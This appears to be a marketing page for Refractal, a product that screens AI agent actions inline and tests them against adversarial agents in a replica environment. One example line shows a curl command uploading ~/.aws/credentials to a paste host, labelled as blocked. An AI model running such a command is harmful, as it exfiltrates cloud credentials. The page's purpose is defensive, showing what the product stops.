Refractal connects to endpoints, cloud, AI agents, OpenTelemetry, network logs and MCP servers, and sends its findings to your SIEM, next to your EDR and NDR.
Refractal post-trains compact security models for you. Our models return structured decisions at a fraction of the cost and latency of large general models.
Your model
ExampleRange dataFrom the replica
Your telemetryAgents, EDR and NDR
Analyst feedbackWhat your team decides
Your boundaryCloud or on-premises
Refractal’s models sit inline on every action your agents take: allow, block, or redact sensitive values. They read agent activity alongside endpoint (EDR) and network (NDR) signals, so a compromised agent that behaves like a legitimate user still stands out.
Action check
ExampleAgentsEvery action they take
Your modelInline, before it runs
ToolsRun only what is allowed
EDR and NDRContext for every action
curl -F file=@~/.aws/credentials paste.example.netBlocked
SPECTRE, our agent range, builds a working replica of your environment. Adversarial agents attack it continuously with realistic multi-step campaigns that adapt to it, alongside your benign workflows, so your models are trained and tested there before anything touches production.
Range run
ExampleYour environmentNever attacked
Your replicaCopied from your environment
Adversarial agentsMulti-step campaigns
Found
A statistical assurance layer calibrates each model’s probabilities against held-out data and sets explicit error-risk bounds, so you get a measured false-positive rate and uncertain actions go to a human.
Evidence record
ExampleYour error boundMeasured false positives 0.4%
A personReviews what is unsure
Regulated decisionA loan declined with no human review, sent to a reviewer
Previous9f3a61c2e07d
This record1c770e4b9a58
Chain verified
Within your bound
Refractal connects to the models and observability tools you already use. Where it sits in the call path, through our SDK or a guard, it checks each action before it runs. Where it reads your existing traces, it scores and records what happened.
It works alongside your EDR and NDR. They see processes and traffic; Refractal sees the action an agent was about to take, and can export its detections to Google SecOps, so your SOC reads them next to the alerts it already has.
Python SDK on PyPI: pip install refractal-ai.
Read the docs
Refractal sits between your agents and the tools, data and people they reach, and applies your policy at the moment each action happens.
We also map to the EU AI Act, GDPR and DORA, and to ISO 27001 and SOC 2 controls through our agent-controls pack.
An open, vendor-neutral specification for intercepting AI-driven actions, evaluating them against policy and intent, and recording tamper-evident receipts. We are building our security plugin to conform to this standard.
We add new standards as they are published, so you can roll out AI without waiting for compliance to catch up.
